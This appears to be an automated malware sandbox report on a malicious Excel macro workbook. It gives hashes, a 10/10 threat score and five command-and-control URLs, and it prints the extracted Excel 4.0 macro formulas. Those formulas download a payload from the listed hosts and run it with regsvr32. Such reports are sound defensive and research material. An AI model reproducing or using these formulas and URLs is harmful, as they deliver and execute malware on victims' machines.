General

  • Target

    4b1957a0c7ef9069fdb0d2c3a88b422d1e7de46673e94a3d8502e4ea799a3587

  • Size

    190KB

  • MD5

    936076475141668bd1e2b250899b2a9b

  • SHA1

    2e795a59ebe228c058ec8930b056ab5c6e3910e9

  • SHA256

    4b1957a0c7ef9069fdb0d2c3a88b422d1e7de46673e94a3d8502e4ea799a3587

  • SHA512

    60cd25cfc8ec5e617f8dd148273a5b6b6323b5ff429c956e6484794957e0b87007f9f8d5e0d987908206565d71a592c90f52e3753abd8500f4efe649167b1365

  • SSDEEP

    3072:RUjWNX3hRqo2wDtStV6ofIWPQZzzjqlHsgGgYGfnKFUw/:R6WVxwoNDtiMofIrZfqeFP/

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://shadesofask.com/10000-ncsa/iwqc/

https://yatrataxi.com/wp-content/X4Ce/

https://lukrify.com/wp-admin/UePJk/

https://haciendazorita.t1.curious.tech/v/eAGLtzRQ5/

http://68.183.232.164/wp-admin/PnJY1/

Attributes
  • formulas

    =FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://shadesofask.com/10000-ncsa/iwqc/","..\xxw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://yatrataxi.com/wp-content/X4Ce/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lukrify.com/wp-admin/UePJk/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://haciendazorita.t1.curious.tech/v/eAGLtzRQ5/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://68.183.232.164/wp-admin/PnJY1/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\xxw1.ocx") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • 4b1957a0c7ef9069fdb0d2c3a88b422d1e7de46673e94a3d8502e4ea799a3587
    .xlsm office2007